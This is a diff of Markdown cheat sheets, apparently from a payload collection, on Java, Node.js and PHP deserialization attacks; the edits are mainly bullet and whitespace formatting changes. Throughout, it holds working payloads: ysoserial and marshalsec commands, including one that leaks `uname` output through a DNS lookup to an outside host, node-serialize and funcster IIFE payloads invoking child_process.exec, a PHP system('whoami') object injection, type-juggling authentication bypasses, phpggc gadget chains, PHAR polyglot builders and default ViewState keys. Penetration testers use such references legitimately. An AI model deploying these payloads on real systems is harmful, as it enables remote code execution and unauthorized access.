* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - April 23, 2019](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||||
- [Finding a New DataContractSerializer RCE Gadget Chain - dugisec - November 7, 2019](https://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/)
|
* [Finding a New DataContractSerializer RCE Gadget Chain - dugisec - November 7, 2019](https://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/)
|
||||||
- [Friday the 13th: JSON Attacks - DEF CON 25 Conference - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
|
* [Friday the 13th: JSON Attacks - DEF CON 25 Conference - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
|
||||||
- [Friday the 13th: JSON Attacks - Slides - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
* [Friday the 13th: JSON Attacks - Slides - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||||
- [Friday the 13th: JSON Attacks - White Paper - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
|
* [Friday the 13th: JSON Attacks - White Paper - Alvaro Muñoz (@pwntester) and Oleksandr Mirosh - July 22, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
|
||||||
- [Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - Alyssa Rahman - December 13, 2021](https://www.mandiant.com/resources/blog/hunting-deserialization-exploits)
|
* [Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - Alyssa Rahman - December 13, 2021](https://www.mandiant.com/resources/blog/hunting-deserialization-exploits)
|
||||||
- [Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Shubham Shah - November 2, 2021](https://blog.assetnote.io/2021/11/02/sitecore-rce/)
|
* [Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Shubham Shah - November 2, 2021](https://blog.assetnote.io/2021/11/02/sitecore-rce/)
|
||||||
|
|
|
||||||
|
|
@ -2,28 +2,25 @@
|
||||||
|
|
||||||
> Java serialization is the process of converting a Java object’s state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the `Serializable` interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.
|
> Java serialization is the process of converting a Java object’s state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the `Serializable` interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Detection](#detection)
|
* [Detection](#detection)
|
||||||
* [Tools](#tools)
|
* [Tools](#tools)
|
||||||
* [Ysoserial](#ysoserial)
|
* [Ysoserial](#ysoserial)
|
||||||
* [Burp extensions using ysoserial](#burp-extensionsl)
|
* [Burp extensions using ysoserial](#burp-extensions)
|
||||||
* [Alternative Tooling](#alternative-tooling)
|
* [Alternative Tooling](#alternative-tooling)
|
||||||
* [YAML Deserialization](#yaml-deserialization)
|
* [YAML Deserialization](#yaml-deserialization)
|
||||||
* [ViewState](#viewstate)
|
* [ViewState](#viewstate)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Detection
|
## Detection
|
||||||
|
|
||||||
- `"AC ED 00 05"` in Hex
|
* `"AC ED 00 05"` in Hex
|
||||||
* `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
|
* `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
|
||||||
* `00 05`: STREAM_VERSION. The serialization version.
|
* `00 05`: STREAM_VERSION. The serialization version.
|
||||||
- `"rO0"` in Base64
|
* `"rO0"` in Base64
|
||||||
- `Content-Type` = "application/x-java-serialized-object"
|
* `Content-Type` = "application/x-java-serialized-object"
|
||||||
- `"H4sIAAAAAAAAAJ"` in gzip(base64)
|
* `"H4sIAAAAAAAAAJ"` in gzip(base64)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
|
|
@ -77,32 +74,33 @@ java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | b
|
||||||
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
|
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
|
||||||
| Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
|
| Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
|
||||||
|
|
||||||
|
|
||||||
### Burp extensions
|
### Burp extensions
|
||||||
|
|
||||||
- [NetSPI/JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) - Burp extension to perform Java Deserialization Attacks
|
* [NetSPI/JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) - Burp extension to perform Java Deserialization Attacks
|
||||||
- [federicodotta/Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) - All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities
|
* [federicodotta/Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) - All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities
|
||||||
- [summitt/burp-ysoserial](https://github.com/summitt/burp-ysoserial) - YSOSERIAL Integration with Burp Suite
|
* [summitt/burp-ysoserial](https://github.com/summitt/burp-ysoserial) - YSOSERIAL Integration with Burp Suite
|
||||||
- [DirectDefense/SuperSerial](https://github.com/DirectDefense/SuperSerial) - Burp Java Deserialization Vulnerability Identification
|
* [DirectDefense/SuperSerial](https://github.com/DirectDefense/SuperSerial) - Burp Java Deserialization Vulnerability Identification
|
||||||
- [DirectDefense/SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) - Java Deserialization Vulnerability Active Identification Burp Extender
|
* [DirectDefense/SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) - Java Deserialization Vulnerability Active Identification Burp Extender
|
||||||
|
|
||||||
|
|
||||||
### Alternative Tooling
|
### Alternative Tooling
|
||||||
|
|
||||||
- [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) - Pure JRE 8 RCE Deserialization gadget
|
* [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) - Pure JRE 8 RCE Deserialization gadget
|
||||||
- [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
|
* [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
|
||||||
- [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) - A fork of the original ysoserial application
|
* [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) - A fork of the original ysoserial application
|
||||||
- [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
|
* [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
|
||||||
- [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
|
* [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
|
||||||
- [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe) - Exploiting Deserialization to Brute-Force the Remote Classpath
|
* [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe) - Exploiting Deserialization to Brute-Force the Remote Classpath
|
||||||
- [k3idii/Deserek](https://github.com/k3idii/Deserek) - Python code to Serialize and Unserialize java binary serialization format.
|
* [k3idii/Deserek](https://github.com/k3idii/Deserek) - Python code to Serialize and Unserialize java binary serialization format.
|
||||||
|
|
||||||
```java
|
```java
|
||||||
java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
|
java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
|
||||||
python deserek.py yss_base.bin --format python > yss_url.py
|
python deserek.py yss_base.bin --format python > yss_url.py
|
||||||
python yss_url.py yss_new.bin
|
python yss_url.py yss_new.bin
|
||||||
java -cp JavaSerializationTestSuite DeSerial yss_new.bin
|
java -cp JavaSerializationTestSuite DeSerial yss_new.bin
|
||||||
```
|
```
|
||||||
- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
|
|
||||||
|
* [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
|
||||||
|
|
||||||
```java
|
```java
|
||||||
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
|
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
|
||||||
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
|
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
|
||||||
|
|
@ -132,8 +130,6 @@ Payload generators for the following marshallers are included:
|
||||||
| XStream | **JDK only RCEs** |
|
| XStream | **JDK only RCEs** |
|
||||||
| YAMLBeans | third party RCE |
|
| YAMLBeans | third party RCE |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## YAML Deserialization
|
## YAML Deserialization
|
||||||
|
|
||||||
SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YAML Ain't Markup Language) data. It provides an easy-to-use API for working with YAML, a human-readable data serialization standard commonly used for configuration files and data exchange.
|
SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YAML Ain't Markup Language) data. It provides an easy-to-use API for working with YAML, a human-readable data serialization standard commonly used for configuration files and data exchange.
|
||||||
|
|
@ -146,7 +142,6 @@ SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YA
|
||||||
]
|
]
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## ViewState
|
## ViewState
|
||||||
|
|
||||||
In Java, ViewState refers to the mechanism used by frameworks like JavaServer Faces (JSF) to maintain the state of UI components between HTTP requests in web applications. There are 2 major implementations:
|
In Java, ViewState refers to the mechanism used by frameworks like JavaServer Faces (JSF) to maintain the state of UI components between HTTP requests in web applications. There are 2 major implementations:
|
||||||
|
|
@ -159,7 +154,6 @@ In Java, ViewState refers to the mechanism used by frameworks like JavaServer Fa
|
||||||
* [joaomatosf/jexboss](https://github.com/joaomatosf/jexboss) - JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool
|
* [joaomatosf/jexboss](https://github.com/joaomatosf/jexboss) - JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool
|
||||||
* [Synacktiv-contrib/inyourface](https://github.com/Synacktiv-contrib/inyourface) - InYourFace is a software used to patch unencrypted and unsigned JSF ViewStates.
|
* [Synacktiv-contrib/inyourface](https://github.com/Synacktiv-contrib/inyourface) - InYourFace is a software used to patch unencrypted and unsigned JSF ViewStates.
|
||||||
|
|
||||||
|
|
||||||
### Encoding
|
### Encoding
|
||||||
|
|
||||||
| Encoding | Starts with |
|
| Encoding | Starts with |
|
||||||
|
|
@ -167,7 +161,6 @@ In Java, ViewState refers to the mechanism used by frameworks like JavaServer Fa
|
||||||
| base64 | `rO0` |
|
| base64 | `rO0` |
|
||||||
| base64 + gzip | `H4sIAAA` |
|
| base64 + gzip | `H4sIAAA` |
|
||||||
|
|
||||||
|
|
||||||
### Storage
|
### Storage
|
||||||
|
|
||||||
The `javax.faces.STATE_SAVING_METHOD` is a configuration parameter in JavaServer Faces (JSF). It specifies how the framework should save the state of a component tree (the structure and data of UI components on a page) between HTTP requests.
|
The `javax.faces.STATE_SAVING_METHOD` is a configuration parameter in JavaServer Faces (JSF). It specifies how the framework should save the state of a component tree (the structure and data of UI components on a page) between HTTP requests.
|
||||||
|
|
@ -177,7 +170,6 @@ The storage method can also be inferred from the viewstate representation in the
|
||||||
* **Server side** storage: `value="-XXX:-XXXX"`
|
* **Server side** storage: `value="-XXX:-XXXX"`
|
||||||
* **Client side** storage: `base64 + gzip + Java Object`
|
* **Client side** storage: `base64 + gzip + Java Object`
|
||||||
|
|
||||||
|
|
||||||
### Encryption
|
### Encryption
|
||||||
|
|
||||||
By default MyFaces uses DES as encryption algorithm and HMAC-SHA1 to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like AES and HMAC-SHA256.
|
By default MyFaces uses DES as encryption algorithm and HMAC-SHA1 to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like AES and HMAC-SHA256.
|
||||||
|
|
@ -206,23 +198,21 @@ Common secrets from the [documentation](https://cwiki.apache.org/confluence/disp
|
||||||
| AES CBC | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
|
| AES CBC | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
|
||||||
| AES CBC IV | `NzY1NDMyMTA3NjU0MzIxMA==` |
|
| AES CBC IV | `NzY1NDMyMTA3NjU0MzIxMA==` |
|
||||||
|
|
||||||
|
|
||||||
* **Encryption**: Data -> encrypt -> hmac_sha1_sign -> b64_encode -> url_encode -> ViewState
|
* **Encryption**: Data -> encrypt -> hmac_sha1_sign -> b64_encode -> url_encode -> ViewState
|
||||||
* **Decryption**: ViewState -> url_decode -> b64_decode -> hmac_sha1_unsign -> decrypt -> Data
|
* **Decryption**: ViewState -> url_decode -> b64_decode -> hmac_sha1_unsign -> decrypt -> Data
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
* [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||||||
- [Hack The Box - Arkham - 0xRick - August 10, 2019](https://0xrick.github.io/hack-the-box/arkham/)
|
* [Hack The Box - Arkham - 0xRick - August 10, 2019](https://0xrick.github.io/hack-the-box/arkham/)
|
||||||
- [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
|
* [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
|
||||||
- [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
|
* [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
|
||||||
- [Java Deserialization in ViewState - Haboob Team - December 23, 2020](https://www.exploit-db.com/docs/48126)
|
* [Java Deserialization in ViewState - Haboob Team - December 23, 2020](https://www.exploit-db.com/docs/48126)
|
||||||
- [Java-Deserialization-Cheat-Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
|
* [Java-Deserialization-Cheat-Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
|
||||||
- [JSF ViewState upside-down - Renaud Dubourguais, Nicolas Collignon - March 15, 2016](https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf)
|
* [JSF ViewState upside-down - Renaud Dubourguais, Nicolas Collignon - March 15, 2016](https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf)
|
||||||
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
* [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||||||
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
* [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||||||
- [On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
|
* [On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
|
||||||
- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
|
* [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
|
||||||
- [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
|
* [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
|
||||||
- [Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
* [Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||||
|
|
|
||||||
|
|
@ -2,7 +2,6 @@
|
||||||
|
|
||||||
> Node.js deserialization refers to the process of reconstructing JavaScript objects from a serialized format, such as JSON, BSON, or other formats that represent structured data. In Node.js applications, serialization and deserialization are commonly used for data storage, caching, and inter-process communication.
|
> Node.js deserialization refers to the process of reconstructing JavaScript objects from a serialized format, such as JSON, BSON, or other formats that represent structured data. In Node.js applications, serialization and deserialization are commonly used for data storage, caching, and inter-process communication.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Methodology](#methodology)
|
* [Methodology](#methodology)
|
||||||
|
|
@ -10,7 +9,6 @@
|
||||||
* [funcster](#funcster)
|
* [funcster](#funcster)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Methodology
|
## Methodology
|
||||||
|
|
||||||
* In Node source code, look for:
|
* In Node source code, look for:
|
||||||
|
|
@ -19,12 +17,12 @@
|
||||||
* `serialize-to-js`
|
* `serialize-to-js`
|
||||||
* `funcster`
|
* `funcster`
|
||||||
|
|
||||||
|
|
||||||
### node-serialize
|
### node-serialize
|
||||||
|
|
||||||
> An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).
|
> An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).
|
||||||
|
|
||||||
1. Generate a serialized payload
|
1. Generate a serialized payload
|
||||||
|
|
||||||
```js
|
```js
|
||||||
var y = {
|
var y = {
|
||||||
rce : function(){
|
rce : function(){
|
||||||
|
|
@ -35,12 +33,14 @@
|
||||||
var serialize = require('node-serialize');
|
var serialize = require('node-serialize');
|
||||||
console.log("Serialized: \n" + serialize.serialize(y));
|
console.log("Serialized: \n" + serialize.serialize(y));
|
||||||
```
|
```
|
||||||
|
|
||||||
2. Add bracket `()` to force the execution
|
2. Add bracket `()` to force the execution
|
||||||
|
|
||||||
```js
|
```js
|
||||||
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"}
|
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"}
|
||||||
```
|
```
|
||||||
3. Send the payload
|
|
||||||
|
|
||||||
|
3. Send the payload
|
||||||
|
|
||||||
### funcster
|
### funcster
|
||||||
|
|
||||||
|
|
@ -48,9 +48,8 @@
|
||||||
{"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}
|
{"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [CVE-2017-5941 - National Vulnerability Database - February 9, 2017](https://nvd.nist.gov/vuln/detail/CVE-2017-5941)
|
* [CVE-2017-5941 - National Vulnerability Database - February 9, 2017](https://nvd.nist.gov/vuln/detail/CVE-2017-5941)
|
||||||
- [Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham - October 31, 2018](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)
|
* [Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham - October 31, 2018](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)
|
||||||
- [NodeJS Deserialization - gonczor - January 8, 2020](https://blacksheephacks.pl/nodejs-deserialization/)
|
* [NodeJS Deserialization - gonczor - January 8, 2020](https://blacksheephacks.pl/nodejs-deserialization/)
|
||||||
|
|
|
||||||
|
|
@ -2,7 +2,6 @@
|
||||||
|
|
||||||
> PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
|
> PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [General Concept](#general-concept)
|
* [General Concept](#general-concept)
|
||||||
|
|
@ -13,7 +12,6 @@
|
||||||
* [Real World Examples](#real-world-examples)
|
* [Real World Examples](#real-world-examples)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## General Concept
|
## General Concept
|
||||||
|
|
||||||
The following magic methods will help you for a PHP Object injection
|
The following magic methods will help you for a PHP Object injection
|
||||||
|
|
@ -24,7 +22,6 @@ The following magic methods will help you for a PHP Object injection
|
||||||
|
|
||||||
Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection.
|
Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection.
|
||||||
|
|
||||||
|
|
||||||
Vulnerable code:
|
Vulnerable code:
|
||||||
|
|
||||||
```php
|
```php
|
||||||
|
|
@ -54,16 +51,17 @@ Vulnerable code:
|
||||||
Craft a payload using existing code inside the application.
|
Craft a payload using existing code inside the application.
|
||||||
|
|
||||||
* Basic serialized data
|
* Basic serialized data
|
||||||
|
|
||||||
```php
|
```php
|
||||||
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
|
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
|
||||||
```
|
```
|
||||||
|
|
||||||
* Command execution
|
* Command execution
|
||||||
|
|
||||||
```php
|
```php
|
||||||
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
|
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Authentication Bypass
|
## Authentication Bypass
|
||||||
|
|
||||||
### Type Juggling
|
### Type Juggling
|
||||||
|
|
@ -89,7 +87,6 @@ a:2:{s:8:"username";b:1;s:8:"password";b:1;}
|
||||||
|
|
||||||
Because `true == "str"` is true.
|
Because `true == "str"` is true.
|
||||||
|
|
||||||
|
|
||||||
## Object Injection
|
## Object Injection
|
||||||
|
|
||||||
Vulnerable code:
|
Vulnerable code:
|
||||||
|
|
@ -125,7 +122,6 @@ We can do an array like this:
|
||||||
a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
|
a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Finding and Using Gadgets
|
## Finding and Using Gadgets
|
||||||
|
|
||||||
Also called `"PHP POP Chains"`, they can be used to gain RCE on the system.
|
Also called `"PHP POP Chains"`, they can be used to gain RCE on the system.
|
||||||
|
|
@ -150,16 +146,15 @@ Also called `"PHP POP Chains"`, they can be used to gain RCE on the system.
|
||||||
* `__clone()`: Once the cloning is complete, if a `__clone()` method is defined, then the newly created object's `__clone()` method will be called, to allow any necessary properties that need to be changed. [php.net](https://www.php.net/manual/en/language.oop5.cloning.php#object.clone)
|
* `__clone()`: Once the cloning is complete, if a `__clone()` method is defined, then the newly created object's `__clone()` method will be called, to allow any necessary properties that need to be changed. [php.net](https://www.php.net/manual/en/language.oop5.cloning.php#object.clone)
|
||||||
* `__debugInfo()`: This method is called by `var_dump()` when dumping an object to get the properties that should be shown. If the method isn't defined on an object, then all public, protected and private properties will be shown. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.debuginfo)
|
* `__debugInfo()`: This method is called by `var_dump()` when dumping an object to get the properties that should be shown. If the method isn't defined on an object, then all public, protected and private properties will be shown. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.debuginfo)
|
||||||
|
|
||||||
|
|
||||||
[ambionics/phpggc](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
|
[ambionics/phpggc](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
|
||||||
|
|
||||||
- Laravel
|
* Laravel
|
||||||
- Symfony
|
* Symfony
|
||||||
- SwiftMailer
|
* SwiftMailer
|
||||||
- Monolog
|
* Monolog
|
||||||
- SlimPHP
|
* SlimPHP
|
||||||
- Doctrine
|
* Doctrine
|
||||||
- Guzzle
|
* Guzzle
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
phpggc monolog/rce1 'phpinfo();' -s
|
phpggc monolog/rce1 'phpinfo();' -s
|
||||||
|
|
@ -179,8 +174,8 @@ A valid PHAR includes four elements:
|
||||||
3. **File Contents**: Contains the actual files in the archive.
|
3. **File Contents**: Contains the actual files in the archive.
|
||||||
4. **Signature**(optional): For verifying archive integrity.
|
4. **Signature**(optional): For verifying archive integrity.
|
||||||
|
|
||||||
|
|
||||||
* Example of a Phar creation in order to exploit a custom `PDFGenerator`.
|
* Example of a Phar creation in order to exploit a custom `PDFGenerator`.
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
class PDFGenerator { }
|
class PDFGenerator { }
|
||||||
|
|
@ -212,6 +207,7 @@ A valid PHAR includes four elements:
|
||||||
```
|
```
|
||||||
|
|
||||||
* Example of a Phar creation with a `JPEG` magic byte header since there is no restriction on the content of stub.
|
* Example of a Phar creation with a `JPEG` magic byte header since there is no restriction on the content of stub.
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
class AnyClass {
|
class AnyClass {
|
||||||
|
|
@ -237,7 +233,6 @@ A valid PHAR includes four elements:
|
||||||
$phar->stopBuffering();
|
$phar->stopBuffering();
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## Real World Examples
|
## Real World Examples
|
||||||
|
|
||||||
